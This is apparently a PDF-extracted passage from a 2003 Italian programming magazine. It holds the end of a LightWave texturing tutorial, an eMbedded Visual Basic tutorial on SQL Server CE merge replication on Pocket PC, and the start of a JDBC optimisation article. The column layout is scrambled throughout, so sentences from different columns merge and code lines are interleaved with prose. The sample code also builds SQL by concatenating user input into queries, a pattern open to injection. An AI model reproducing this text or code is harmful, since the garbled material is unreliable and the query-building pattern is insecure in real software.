carla. In Figura 9 abbiamo me horror conviene sporca- re il realismo perdendo cosi grande lampadario realizza-
le texture impiegate per il re a tratti le superfici create la classica sensazione di to nei tutorial precedenti.

9 10

F11-12 La scala 12
La scala è l’oggetto più “diffici- completare l’intera scala.
le” da texturare, in questo caso In questo modo lavoreremo su
la parola “difficile” è intesa co- un singolo elemento alla volta,
me tempo necessario alla sua senza dover ripetere il processo
realizzazione. Il primo elemento di texturing. Useremo una tex-
da texturare è uno dei sostegni ture di tipo legno per tutta la
del passamano, una volta map- scala, in modo da rendere omo-
pato lo cloneremo tante volte genea l’intera struttura, solo i
quanto sarà necessario per gradini veri e propri avranno

11

una bitmap lievemente differen- dell’oggetto e in modo planare


te. In Figura 11 abbiamo la tex- sui cubi a sostegno della strut-
ture legno impiegata, il primo tura, come rappresentato in fi-
elemento della scala, il soste- gura. Il risultato dell’operazione
gno del passamano e la mappa è visibile in Figura 12. Realizza-
applicata su di esso. La bitmap to questo primo elemento, clo-
deve essere mappata in modo niamolo lungo le scale sino a
cilindrico sulla struttura levigata completare l’intero oggetto.

112 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
110-114 Lightwave 4-06-2003 11:06 Pagina 113

F13 Il passamano F15-16 Scalini: texture color


Adesso texturiamo il per quello al piano e toni di grigio
passamano vero e proprio, superiore, la texture da In Figura 15 abbiamo le 2 Anche quest’oggetto è stato
per questo oggetto impiegare è sempre la texture color e toni di ultimato, dal rendering
dobbiamo usare una stessa, in Figura 13 abbia- grigio impiegate, mentre in possiamo vedere il buon
mappatura di tipo cilindrica mo i 2 passamano con il Figura 16 abbiamo un livello di dettaglio raggiunto
su due assi, un asse per il relativo esempio di mapping render dell’intera scala con in fase di modellazione e
passamano inferiore e uno e rendering di prova. tutti gli scalini texturati. texturing.

13 15

F14 La base dei gradini


Non ci resta che texturare la differente, con una tonalità
base di ogni gradino e la fian- più chiara, per variare la resa
cata destra della scala, quella di colore della scala. Gli scali-
rivolta verso la stanza, queste ni devono essere mappati con
superfici devono essere map- un texturing cubico o planare
pate con un semplice metodo
planare su assi x e z; in
su tutti gli assi, dobbiamo
creare 2 mappe differenti per 16
Figura 14 abbiamo l’esempio texturare tutti gli scalini,
di texturing delle superfici e mappe che alterneremo ad
un test render della scala ogni scalino, esattamente
assemblata. Non ci resta che come abbiamo già fatto per le
completare la base degli sca- pareti, in modo da non ren-
lini, per questi utilizzeremo dere evidente l’uso di 2 sole
una texture legno lievemente mappe di texturing.

14

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 113
110-114 Lightwave 5-06-2003 16:52 Pagina 114

Multimedia G Lightwave

F17-18 Le porte 18
L’ultimo elemento da textu- riferimento il wireframe della
rare di questo tutorial. Per la porta per costruire la bitmap
realizzazione della texture su misura, come rappresen-
possiamo prendere come tato in Figura 17.
Anche per questa scegliere-
17 mo un materiale “legno” da
sporcare e invecchiare attra-
verso l’uso di altre mappe
inserite in trasparenza su
quella base, per la maniglia
useremo un metallo sempli-
ce, da inserire in modo pla-
nare sia sulla base che sulla
maniglia stessa. Una volta
texturata possiamo copiarla
a piacimento nella stanza, al
fine di identificare la posizio-
ne migliore e il numero di
porte presenti in scena.
In Figura 18 abbiamo la tex-
ture completa della porta,
della maniglia e la loro com-
posizione, nonché un render
della stessa completa.

F19-20 Conclusioni 19
La nostra stanza è quasi com- dipende dall’impostazione della
pleta, abbiamo 2 render di pro- scena finale, ovvero luci e tipo
va in Figura 19 e 20, adesso di calcolo da eseguire. Questi
che alcune delle texture sono fattori sono rilevanti al fine di
state create e inserite il risultato ottenere un buon risultato in
finale risulta più chiaro. Le tex- uscita dal rendering. Da lavoro
ture impiegate per questo tu- svolto sino ad ora possiamo
torial sono di tipo fotorealistico, facilmente comprendere la mole
poiché contribuiscono a rendere di tempo necessario per realiz-
il tutto molto più reale e detta- zare decine e decine di ambien-
gliato in fase di rendering, a tazioni impiegate in giochi che
queste abbiamo aggiunto diver- sfruttano tecniche e grafica di
si layer di sporco per aumenta- questo tipo come la serie di
re l’effetto invecchiamento e Resident Evil, Alone in the dark
spezzare la monotonia di una ecc.. Proprio per questo vengo-
texture perfetta, cosa che no utilizzati molti grafici in pro-
avrebbe pregiudicato il risultato duzioni di questo genere, realiz-
finale in fase di rendering. zare interi set di mobili, edifici, 20
L’usare le mappe in toni di gri- sia in interno che in esterno è
gio e altri layer, da sovrapporre uno sforzo non indifferente. A
alla bitmap di base, è sempre questo dobbiamo aggiungere i
consigliato per rendere il model- tempi di calcolo di ogni immagi-
lo disomogeneo e reale. L’uso di ne definitiva, parametro da non
tutti i canali di superficie sottovalutare in produzioni com-
(bump, diffusione, specularità merciali con tempi prestabiliti.
ecc) è da considerarsi obbliga- Ogni piccola ottimizzazione, rici-
torio per rendere una qualsiasi clo di texture e oggetti, viene
opera 3D non piatta e fredda. incontro alle esigenze di produ-
Gran parte del dettaglio è stato zione in piena fase lavorativa, il
dato direttamente da noi sulle tutto, comunque, non deve pre-
texture, con l’uso di diversi giudicare la qualità del lavoro
layer di Photoshop per aggiun- finale che deve attestarsi su
gere lo sporco e invecchiare i livelli alti per competere con le
materiali impiegati, il resto grandi produzioni di oggi.

114 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:57 Pagina 116

A d v a n c e d E d i t i o n G G G G G G G G

✓ Merge Replication ed RDA.


Pocket PC Mobilità dei Dati


con Sql Server CE
È giunto il momento di costruire un’applicazione che
metta in risalto le potenzialità dello strumento presentato
l’ultima volta. Presenteremo in dettaglio il processo di
sincronizzazione automatica dei dati nei Pocket PC.

File sul CD
\soft\codice
\Merge_RDA.zip N el precedente articolo avevamo posto la no-
stra attenzione sulla prima tecnica di sincro-
nizzazione dati tra un dispositivo palmare e
un computer server: la Merge Replication. In modo
Dim pMR as [Link]
…..
Set pMR = CreateObject(“[Link].2.0”)
…..
particolare, abbiamo descritto i passi necessari per ' Si crea la sottoscrizione
[Link] CREATE_DATABASE
• la configurazione del Server di Database sul quale .. settaggio delle proprietà dell’oggetto di Merge
andiamo a creare il database che sarà sincronizzato Replication omessa
con il Pocket PC; ' l’oggetto pMR inizia la fase di creazione della
• la configurazione del Server WEB che conterrà, in sottoscrizione dal server
Requisiti un’apposita cartella virtuale, gli agenti di sincro- [Link]
HARDWARE: Pocket PC
nizzazione che permetteranno la comunicazione ....
o (dispositivo Win-
dows CE Based), Com- tra il Server Agent di SQL Server e Il Client Agent [Link]
puter con almeno pro- di SQL Server CE sul Palmare. [Link]
cessore Pentium II e
128 MB di memoria.
E’ stata discussa in dettaglio l’architettura della tecno- Nel frammento di codice riportato, possiamo notare la
SOFTWARE: Windows logia di sincronizzazione della Merge Replication. In dichiarazione e la creazione dell’oggetto di Merge Re-
98 SE /2000/XP, IIS particolare, è stata creata la Pubblicazione del Database di plication. Su tale oggetto viene invocato prima di tutto
(oppure PWS-Personal SQL Server “Northwind” da sincronizzare. Abbiamo la funzione AddSubscription, cosa che permette al
WEB Server con Win-
dows 9x), SQL Server
concluso la trattazione creando una piccola applicazio- Pocket PC di fregiarsi del titolo di Sottoscrittore o Sub-
2000 con Service Pack ne di test, costituita da una sola maschera con la quale scriber della pubblicazione del Database sul Server.
1 o superiore, SQL Ser- veniva effettuato il meccanismo di sottoscrizione del Possiamo notare, dal codice, che la funzione in esame è
ver CE 2.0, Embedded Database. stata invocata con il parametro “CREATE_DATABA-
Visual Tools.
SE”. Quest’ultimo parametro fa sì che il database di re-
plica venga creato sul palmare; mentre, nel caso in cui
PROCEDURA il database fosse già disponibile sul palmare, occorre-
DI SOTTOSCRIZIONE rebbe utilizzare il parametro “EXISTING_DATABA-
Io scopo che ci proponiamo in questo articolo è di ri- SE”. Il protocollo di sincronizzazione impone di utiliz-
prendere l’applicazione di test scritta la scorsa volta e zare in sequenza, sull’istanza dello oggetto di Merge
arricchirla di alcune interessanti funzionalità. Prima di Replication le funzioni Initiate, Run e Terminate. L’invo-
tutto facciamo alcune considerazioni sul codice di crea- cazione di tale sequenza di istruzioni è responsabile
zione della sottoscrizione sul palmare. La procedura della effettiva creazione del database di replica sul di-
scritta la scorsa volta (MergeData) permetteva proprio spositivo mobile. Nell’articolo precedente, si era ap-
di creare la sottoscrizione con il Database “Northwind” prezzato il corretto funzionamento della procedura di
ditribuito con SQL Server 2000. Le linee di codice che sottoscrizione, verificando l’effettiva presenza del Da-
permettevano di effettuare questa operazione sono: tabase nella cartella “My Documents” del Pocket PC.

116 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:54 Pagina 117

E E E E E E E E E A d v a n c e d E d i t i o n

Inoltre, avevamo pshot memorizza lo stato del DB sincronizzato dal


aperto l’istanza del PocketPC. In tal caso è come se venisse fatta una foto-
database creato con grafia all’istanza del database sincronizzato dal client
la utilità ISQW20 Palmare. La memorizzazione dello stato del database è
(che rappresenta l’e- di vitale importanza se si vuole che le modifiche effet-

Pocket PC
quivalente del Que- tuate sul palmare possano essere riconosciute come ta-
ry Analyzer per SQL li e quindi, all’atto delle successive sincronizzazioni del
Server CE) verifican- Pocket PC, siano allineate sul Server. Bisogna eviden-
do l’effettiva presen- ziare che è anche vero il viceversa: infatti, la memoriz-
za di dati. Per com- zazione dello stato del Database permette che eventua-
pletare il test di veri- li modifiche dei dati vengano allineate o sincronizzate
fica possiamo utiliz- anche sul Pocket PC. Tra poco, l’aggiunta di nuove fun-
zare Enterprise Ma- zionalità alla nostra applicazione di Test ci farà apprez-
nager di SQL Server. zare appieno queste caratteristiche.
In Fig. 1. possiamo
notare l’albero di
SQL SERVER 2000 APPLICAZIONE DI TEST
come si presenta do- Il primo passo che proponiamo di compiere è quello di
Fig. 1: La struttura ad albero po la procedura di connetterci, direttamente da codice, al Database creato
di SQL Server 2000. creazione della Pub- sul palmare con procedura di sottoscrizione. In parti-
blicazione del Data- colare, prenderemo l’applicazione della scorsa volta e
base Northwind. Si effettui la selezione del percorso aggiungeremo la logica necessaria a visualizzare gli or-
Replication Monitor\Publishers\nomeServerDatabase\ dini di un dato cliente, le informazioni generali dell’or-
Northwind:Northwind nell’albero di Fig. 1 (nel caso in dine e la sua composizione. La funzionalità che voglia-
esame a nomeServerDataBase corrisponde ETAVOLA- mo costruire è quella di modificare la “quantità” di un
RO\ETAVOLARO che è il nome della nostra istanza di prodotto facente parte di un determinato ordine e rela-
SQL Server): il contenuto di tale cartella è rappresenta- tivo ad un dato cliente. Effettueremo, quindi, una istru-
to in Fig. 2 e ci dà le seguenti informazioni: zione SQL di update direttamente nel Database “North- Snapshot
[Link]” creato con la sottoscrizione e notifiche- Agent
Sql Server 2000
• E’ stato creato un agente di Snapshot che ha gene- remo questa modifica con un tasto che effettua la sin- fornisce un im-
rato la sottoscrizione sul Pocket PC; vengono, inol- cronizzazione con il Server di Database SQL Server portante utilità per la
tre, memorizzate altre informazioni come il tempo 2000. Alla fine, procederemo a verificare sul Server gestione della sincro-
nizzazione. Lo Sna-
di partenza della sottoscrizione, il tempo di azione l’avvenuto allinea-
pshot Agent, permette
e così via. mento dei dati sia con di memorizzare lo sta-
• Nella seconda riga, viene evidenziato che la sotto- l’ausilio del Replica- to del Database cen-
scrizione ha provocato 3308 inserimenti sul data- tion Monitor di En- trale ad ogni sincroniz-
zazione permettendo
base di replica del Palmare. Inoltre, possiamo nota- terprise Manager sia
di allineare i dati sia
re come il tipo di accesso al Database sia di tipo facendo direttamente sul server che sul
“anonimo”, ovvero dello stesso tipo impostato con una query sul Data- client in modo ottima-
l’oggetto di Replication via codice. base Northwind con le.

il Query Analizer. In
Fig. 3 è rappresentata
la struttura della ma-
schera da costruire
Fig. 2: I log delle operazioni Fig. 3: Struttura della nel nostro progetto di
maschera di test.
test. Il nome del form
Tali informazioni sono memorizzate sul Server nella sia “Form2” mentre
sezione Publishers del folder “Replication Monitor”, se- di seguito illustriamo i controlli aggiunti e le eventuali
zione che si occupa della memorizzazione degli acces- proprietà da impostare:
si al Server di Database unitamente al numero e al tipo
di operazioni effettuate dai client sottoscrittore che in 1. Label “Clienti”;
questo caso è rappresentato dal SQL Server CE Server 2. ListView Control dei Clienti, con Property name im-
Agent installato sul Pocket PC ed etichettato dal Server postata a “lvwClienti”; questo controllo verrà popo-
con la descrizione “Pocket PC:-8”. lato con i dati della tabella Customers del database
Notrhwind;
3. Label “Ordini”;
LO SNAPSHOT AGENT 4. ListView Control degli Ordini, con Property name im-
DI SQL SERVER 2000 postata a “lvwOrdini”; questo controllo verrà popo-
Dopo la creazione della sottoscrizione, l’agente di Sna- lato con i dati provenienti dalla tabella Orders del

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 117
116-120 RDA 31-05-2003 10:55 Pagina 118

A d v a n c e d E d i t i o n G G G G G G G G

Database Northwind. Bisogna notare come tali ordi- del nostro progetto eMbedded Visual Basic, le seguen-
ni saranno relativi al cliente selezionato nel con- ti dichiarazioni:
trollo precedente. Vedremo tra poci come realizza-
re questa funzionalità. ' ADOCE
5. Label “Nuova Qty”; Public pars As [Link]
6. Casella di testo che conterrà la nuova quantità da Public paco As [Link]

Pocket PC impostare per un dato prodotto in un ordine. Im- ' costanti


postiamo la sua property name a “txtQuantita”. Public Const vbHourGlass = 11
7. Tasto “Salva”: la funzionalità implementata sull’e- Public Const vbArrow = 1
vento di Click del controllo permetterà di effettuare Public Const pstrDoubleQuote = """"
l’operazione di Update sul Database.
8. Label “Dettagli Ordini”; Nel primo gruppo di istruzioni, dichiariamo gli ogget-
9. ListView Control degli dettagli di un Ordine; impo- ti di accesso ai Dati relativi alla libreria ADOCE che, in
stare la Property name a lvwdettagliOrdini. Questo Windows CE, rappresenta l’analogo di ADO per siste-
controllo conterrà il dettaglio dell’ordine seleziona- mi Windows. Quindi l’istanza paco dell’oggetto Con-
to nel ListView Ordini e la casella di testo txtQuan- nection rappresenta una connessione al Database. Allo
tita mostrerà la quantità attuale del prodotto ivi se- stesso modo l’istanza pars dell’oggetto Recordset rap-
lezionato. presenta un contenitore dei dati ottenuti per effetto di
una query di selezione sul database. Il loro utilizzo è
Per ogni ListView control della maschera, effettuare le molto semplice e quasi del tutto simile all’analogo dei
seguenti impostazioni nelle Property: sistemi Desktop. Il secondo gruppo di costanti ci ser-
virà per far apparire la clessidra per simulare l’attesa
• LabelEdit : 1 - lvwManual; dell’utente durante l’elaborazione dell’applicazione
• View : 3 - lvwReport; sul Pocket PC. Nelle linee di codice seguenti, vediamo
come abbiamo costruito la funzione che viene richia-
Sincronizzazione Prima di scrivere il co- mata all’atto della visualizzazione della maschera
La gestione di dice relativo alla ma- Form2:
client di sincro-
schera appena creata, è
nizzazione è un vero
punto di forza di SQL necessario aggiungere Private Sub Form_Load()
Server. E’ possibile ve- un tasto nella maschera ' si creano gli oggetti ADOCE
rificare in ogni momen- iniziale della nostra ap- Set paco = CreateObject("[Link].3.1")
to le operazioni svolte
plicazione di test; per il Set pars = CreateObject("[Link].3.1")
dai client sottoscrittori
dei database pubblica- tasto in questione inse- costruisciControlli
ti. Tale operazione con- riremo la logica neces- End Sub
sente di monitorare il saria alla visualizzazio-
traffico dati sia in usci-
ta che in entata dal
ne della maschera degli Possiamo notare la creazione delle istanze degli ogget-
Fig. 4: Struttura della Ordini precedente. La ti di Recordset e Connection. Infine, viene chiamata la
Server di database e
Maschera iniziale.
renderci conto della maschera iniziale appa- procedura per la costruzione dei controlli costruisci-
quantità di operazioni
rirà come in Fig. 4. Pos- Controlli: questa procedura, non solo costruisce le inte-
che vengono svolte da
client sottoscrittori di siamo notare il nuovo tasto “Ordini”. La seguente linea stazioni di tutti i listView Control della maschera, ma
tipo PDA. di codice, posta nella funzione di gestione dell’evento popola il primo di essi (quello relativo ai Clienti) con i
on click del controllo, consente di visualizzare la ma- dati provenienti dal database. Di seguito riportiamo la
schera creata in precedenza: sua implementazione:

Private Sub cmdOrdini_Click() Private Sub costruisciControlli()


[Link] [Link]
End Sub [Link] , , "Compagnia", 1900
[Link] , , "Referente", 1300
[Link]
CONNESSIONE [Link] , , "Data Ordine", 1100
AL DATABASE DEL CLIENT [Link] , , "Data Richiesta", 1100
Il passo successivo consisterà nell’aggiunta del codice [Link] , , "Carico", 900
necessario per popolare i controlli della maschera degli [Link]
ordini con i dati provenienti dal Database. Costruiremo [Link] , ,
inoltre la funzionalità per aggiornare la tabella “Order "ID_Prodotto", 1100
Details” del database sul palmare. Infine, sincronizze- [Link] , ,
remo i dati sul Database del Server per verificare che "Prezzo Unit", 1100
tutto funzioni secondo le nostre aspettative. Al Lavoro! [Link] , , "Qty", 1100
Occorre prima di tutto inserire all’inizio del Modulo1 CONNECTION_STRING = "Provider=

118 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:56 Pagina 119

E E E E E E E E E A d v a n c e d E d i t i o n

[Link].2.0; Data non solo chiudere il recordset ma anche la connessione.


Source=\[Link]" Bisogna notare che durante tutta l’operazione di popo-
CostruisciListaClienti lazione del listView lvwClienti, esso è stato reso invisi-
End Sub bile ([Link] = False) per poi renderlo visibile
solo alla fine. Questa tecnica ci consente di miglirare la

Pocket PC
Dal codice si evince come venga inizializzata la stringa velocità di caricamento dei dati sul controllo. Infine,
di connessione CONNECTION_STRING (dichiarata con l’istruzione
nel Modulo1 del progetto). Per popolare il ListView dei
Clienti ci serviamo della funzione CostruisciListaClienti [Link] = [Link](1)
di cui segue una possibile implementazione:
rendiamo selezionato il primo elemento del listView.
Private Sub CostruisciListaClienti() Se mandassimo in esecuzione il codice appena imple-
Dim litm As ListItem mentato, avremmo raggiunto solo lo scopo di popola-
Dim strSQL As String re la lista dei Clienti. Per fare in modo che tutti i con-
' svuota il ListView trolli siano popolati a dovere dobbiamo gestire l’even-
[Link] to di selezione di un elemento del del listView lvw-
[Link] = False Clienti: la funzione di gestione di questo evento per-
' rendi il listview invisibile per migliorare le performance metterà di recuperare il codice del Cliente selezionato e
[Link] = False passare questa informazione ad una procedura prepo-
' Set SQL sta al caricamento degli ordini relativi a quel cliente e
strSQL = "SELECT CustomerID, CompanyName, alla popolazione dei dati, quindi del listView lvwOrdi-
ContactName, rowguid FROM Customers" ni. Di seguito mostriamo una possibile implementazio-
' Aprila connessione e il recordset ne della procedura:
[Link] CONNECTION_STRING
[Link] strSQL, paco, adOpenForwardOnly, Private Sub lvwClienti_ItemClick(ByVal Index As Long) Sicurezza
adLockReadOnly [Link] = vbHourGlass Implementare il
meccanismo della
' Popoliamo il listview ' Aggiorno ListView degli Ordini
sincronizzazione è mol-
Do While Not [Link] CostruisciListaOrdini (Mid([Link], 2)) to semplice. Una volta
Set litm = [Link](, "K" & [Link] = vbArrow creata la pubblicazione
pars("rowguid"), pars("CompanyName")) End Sub del database che si
vuole rendere accessi-
[Link](1) = pars("ContactName")
bile a client Palmari
[Link] Nel codice notiamo che la procedura preposta al cari- sottoscrittori, bisogna
Loop camento dei dati nel controllo lvwOrdini è CostruisciLi- creare un account di
' Chiudo recordset and Connessione staOrdini. Quest’ultima procedura accetta come para- accesso a SQL Server.
Nella nostra applicazio-
[Link] metro il codice del cliente appena selezionato; di se-
ne di test abbiamo uti-
[Link] guito riportiamo la sua implementazione: lizzato l’account sa, ma
' il primo cliente è il default è meglio crearne uno
[Link] = [Link](1) Private Sub CostruisciListaOrdini(CustomerID As String) apposito che limiti al
massimo le operazioni
' rendi visible listview Dim litm As ListItem
sulla base di dati per
[Link] = True Dim strSQL As String ovvi motivi di sicurez-
End Sub [Link] za.
[Link] = False
Il codice riportato è di facile lettura non solo per gli svi- [Link] = False
luppatori Visual Basic ma per chiunque abbia familia- ' costruisci istruzione SQL
rità con la scrittura di codice orientato alla connessione strSQL = "SELECT [Link], [Link],
con i database. La logica implementata è anch’essa [Link], [Link], [Link]"
molto semplice: viene creata la stringa SQL per selezio- strSQL = strSQL & " FROM Orders O INNER JOIN
nare i dati dalla tabella Customers. In particolare, viene Customers C ON"
prima di tutto aperta la connessione, passando al me- strSQL = strSQL & " [Link] = [Link]"
todo Open dell’oggetto paco la stringa di connessione strSQL = strSQL & " WHERE [Link] = '"
CONNECTION_ STRING. A questo punto, viene ese- & CustomerID & "'"
guita la query richiamando sull’oggetto pars il metodo ' Apriamo connessione e recordset
Open fornendo in ingresso, fra gli altri, la stringa corri- [Link] CONNECTION_STRING
spondente alla query SQL e la connessione attiva ap- [Link] strSQL, paco, adOpenForwardOnly,
pena aperta. La logica successiva, prevede di ciclare sul adLockReadOnly
Recordset fino alla fine, prelevando i dati e inserendoli Do While Not ([Link] Or [Link])
in ordine nel listView lvwClienti. Set litm = [Link](, "K" &
Per ragioni di ottimizzazione delle risorse, una volta pars("OrderID"), pars("OrderDate"))
terminato il riempimento del controllo, è necessario [Link](1) = pars("RequiredDate")

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 119
116-120 RDA 31-05-2003 10:56 Pagina 120

A d v a n c e d E d i t i o n G G G G G G G G

[Link](2) = pars("Freight") [Link]


[Link] [Link]
Loop If [Link] > 0 Then
' chiudo recordset e connection [Link] =
[Link] [Link](1)
[Link] [Link] = True

Pocket PC If [Link] > 0 Then


[Link] = [Link](1) End Sub
[Link] = True
End Sub Di seguito riportiamo la funzione di gestione della se-
lezione di un elemento dal listView lvwDettagliOrdini,
La struttura della procedura è molto simile a costruisci- la quale avrà il compito di scrivere nella casella di testo
ListaClienti. In particolare, possiamo notare che viene txtQuantità la quantità attuale del prodotto apparte-
fatta una query di INNER JOIN tra le tabelle Orders e nente all’ordine del cliente selezionati:
Customers per poter ricavare gli ordini del cliente di co-
dice CustomerID passato come parametro di ingresso Private Sub lvwDettagliOrdini_ItemClick(ByVal Index As Long)
alla procedura. Anche in questo caso, dobbiamo gesti- [Link] = vbHourGlass
re l’evento di selezione di un elemento dal listView ' Aggiorno il TextBox Qty
lvwOrdini, allo scopo di popolare contestualmente il li- [Link] =
stView che ne conterrà il dettaglio dei prodotti. [Link](2)
Ecco il dodice per la gestione di questo evento: [Link] = vbArrow
End Sub
Private Sub lvwOrdini_ItemClick(ByVal Index As Long)
ADOCE [Link] = vbHourGlass Se mandiamo in esecuzione il progetto e nella prima
ADOCE rappresen-
ta una libreria di ' Aggiorni ListView dei Dettagli Ordini maschera pigiamo il tasto Ordini, apparirà la maschera
oggetti con la quale costruisciListaDettagliOrdini in Fig. 5.
possiamo interfacciarci (Mid([Link], 2))
con un database memo-
[Link] = vbArrow
rizzato con sul palmare
con una procedura di End Sub
sincronizzazione. Gli
oggetti della libreria,
La procedura costrusciListaDettagliOrdini, si occuperà
una volta creata una
connessione attiva sul di popolare lvwDettagliOrdini.
database locale, per-
mettono di accedere ai Private Sub costruisciListaDettagliOrdini(OrderID As String)
dati tramite le istruzio-
Dim litm As ListItem
ni in linguaggio SQL. Al-
tri oggetti della stessa Dim strSQL As String
libreria permettono an- [Link]
che di accedere alle [Link] = False
informazioni dello sche-
[Link] = False
ma del database come
tabelle, relazioni, indici ' costruisci instruzione SQL
etc... strSQL = "SELECT [Link], [Link],
[Link], [Link]"
strSQL = strSQL & " FROM " & pstrDoubleQuote &
"Order Details" & pstrDoubleQuote & "
OD INNER JOIN Orders O ON"
strSQL = strSQL & " [Link] = [Link]"
strSQL = strSQL & " WHERE [Link] = " & OrderID
[Link] CONNECTION_STRING Fig. 5: L’applicazione all’opera.
[Link] strSQL, paco, adOpenForwardOnly,
adLockReadOnly
' Populate list view Possiamo notare che, selezionando un Cliente diverso
Do While Not ([Link] Or [Link]) dal primo listView vengano a modificarsi l’insieme dei
Set litm = [Link](, "K" dati che compongono gli altri controlli, a testimonian-
& pars("OrderID") & "|" & pars("ProductID"), za che abbiamo gestito tutto con una logica accurata.
pars("ProductID")) Manca solo la logica di modifica dei dati sul palmare e
[Link](1) = pars("UnitPrice") la successiva sincronizzazione sul Server.
[Link](2) = pars("Quantity") Per riuscire a modificare i dati sulla pressione del tasto
[Link] “Salva”, aggungeremo il seguente codice di gestione di
Loop evento:

120 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:57 Pagina 121

E E E E E E E E E A d v a n c e d E d i t i o n

Private Sub cmdSave_Click()


Dim strSQL As String
Dim strOrderID As String
Dim strProductID As String
Dim strKey As String
strKey = Mid([Link], 2)
strOrderID = Mid(strKey, 1, InStr(1, strKey, "|") - 1) Pocket PC
strProductID = Mid(strKey, InStr(1, strKey, "|") + 1)
[Link] CONNECTION_STRING
strSQL = "UPDATE " & pstrDoubleQuote & "Order
Details" & pstrDoubleQuote & " SET Quantity = "
strSQL = strSQL & [Link]
strSQL = strSQL & " WHERE OrderID = " & strOrderID
strSQL = strSQL & " AND ProductID = " & strProductID
' Eseguo update
[Link] strSQL
' Chiudo connessione
[Link]
' effettua update del listview
costruisciListaDettagliOrdini
Fig. 7: Le informazioni sul prodotto, appena
(Mid([Link], 2)) aggiornate.
sincronizza()
MsgBox "Aggiornamento e sincronizzazione effettuate chiamata la procedura sincronizza(). Questa ultima pro-
con successo!" cedura ha lo scopo di notificare al Server la modifica dei
MsgBox "ID_Ordine = " & strOrderID & ", ProductID = dati. Quindi, in seguito ad un salvataggio, avremo ef-
" & strProductID fettuato non solo l’aggiornamento dei dati sul Client
MsgBox ma anche sul Server di DataBase. Il codice della funzio- Sul Web
Qui di seguito trovate
End Sub ne di sincronizzazione si presenterà molto simile a una manciata di link
quella di sottoscrizione. per approfondire il te-
In Fig. 6 riportiamo la schermata del Pocket PC in cui ma della programma-
mi viene notificato il successo nella procedura di ag- zione embedded

giornamento di un [Link] particolare abbiamo ag- DEVBUZZ


giornato la quantità di un prodotto da “66” a “23”. In [Link]
Fig. 7 vengono riportate le informazioni del prodotto
CE Windows .NET
aggiornato sul server e sul client. Tali informazioni si ri-
[Link]
feriscono al codice Prodotto = 32 e appartenente all’or-
dine di codice 10759. Utilizzerò questi dati per verifica- Pocket PC Developer
re l’avvenuto aggiornamento sul database centrale. In Network
[Link]
Fig. 8 possiamo notare che nelle informazioni di pub-
blicazione troviamo un record aggiornato. Non ci rima- Pocket PC City
ne che verificare in con Query Analizer che l’aggiorna- [Link]
mento riguardi proprio il record i cui estremi ci vengo-
Pocket Gear
no ricordati in Fig. 7.
[Link]

Mobile Coders
[Link]
Fig. 8: La notifica dell’aggiornamento.

Fig. 6: Aggiornamento riuscito!


CONCLUSIONI
In questo articolo abbiamo sviluppato una applicazio-
La funzione appena scritta è molto interessante: essa ne per dimostrare come comunicare con il Server di Da-
costruisce la stringa SQL di Update sul prodotto cor- tabase SQL Server 2000. Abbiamo sviluppato il codice
rente dell’ordine selezionato e, contestualmente, ne ag- necessario per sincronizzare i dati. Abbiamo imparato,
giorna il campo Quantity. Nella Query di Update, il re- inoltre, ad accedere ai dati memorizzati nel database
cord viene selezionato in maniera opportuna specifi- con la libreria ADOCE. In un prossimo articolo, discu-
cando non solo lo ID dell’ordine ma anche il codice del teremo in dettaglio il meccanismo di RDA su una ap-
prodotto stesso ricavati dai rispettivi listView. Inoltre, plicazione reale.
possiamo notare dal codice in questione che viene ri- Elmiro Tavolaro

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 121
122-125 JDBC 4-06-2003 16:18 Pagina 122

A d v a n c e d E d i t i o n G G G G G G G G

✓ Strategie di ottimizzazione

Ottimizzare
Ottimizzare l'accesso
ai database con JDBC
l’accesso ai DB

L'accesso ai database è in molte applicazioni


un'operazione che riveste un'importanza fondamentale
e spesso è il luogo in cui si celano sostanziali colli
di bottiglia che riducono le prestazioni del sistema.

L'
accesso ai database è in molte applicazioni
CODICE DESCRIZIONE FATTORE
un'operazione che riveste un'importanza fon-
damentale e spesso è il luogo in cui si celano 000000 Esente da IVA 0
sostanziali colli di bottiglia che riducono le prestazioni 000010 IVA del 10% 0.1
del sistema. Il dialogo con un database è un'operazio- 000020 IVA del 20% 0.2
ne di per sè lenta: essendo solitamente questo imple-
mentato da un database server, l'applicazione è obbli- Tab. 1: Tabella di lookup per codici IVA.

gata a tradurre le richieste in un flusso di byte ed in-


viarli sulla rete fino al server. Qui dovranno essere de- Queste tabelle sono tipiche in applicazioni gestionali in
codificate, elaborate, eseguite, fino a quando i dati di ri- quanto consentono di memorizzare descrizioni dei co-
sposta non saranno pronti per l'operazione inversa. Le dici utilizzati nell'applicazione. L'applicazione potreb-
informazioni di ritorno saranno codificate, inviate in be esprimere questa tabella con la classe presente nel li-
Accesso ai DB rete, decodificate ed infine rielaborate. Il fatto di ridur- stato 1: si noti la riga evidenziata in grassetto. L'attri-
La miglior otti- re il più possibile tutte o alcune di queste operazioni, buto elementi è una lista che il metodo load() dovrebbe
mizzazione possi-
bile per l'accesso ai da-
può quindi trasformarsi in un deciso aumento delle valorizzare con il contenuto della tabella. Una volta
ti è... non accedervi. performance di un'applicazione. In questo articolo ver- creato un oggetto CodiciIVA, è possibile utilizzare sem-
Questo è un aspetto ranno presentate dieci strategie per ottimizzare l'acces- pre quello in tutta l'applicazione. La classe potrebbe
che spesso viene sotto- so ai database, dalle più classiche, ma sempre utili, a anche essere un Singleton (si noti il metodo getInstan-
valutato, specialmente
se il tempo per lo svi-
quelle forse meno note ai meno esperti. Questi sugge- ce()).
luppo non è molto, ma rimenti sono proposti in ordine di importanza, quindi
con politiche di caching con al primo posto quelle indicazioni che possono for- Listato 1
aggressive è possibile
nire un aumento di prestazioni più sensibile. class CodiciIVA implements TabellaLookup {
migliorare molto le
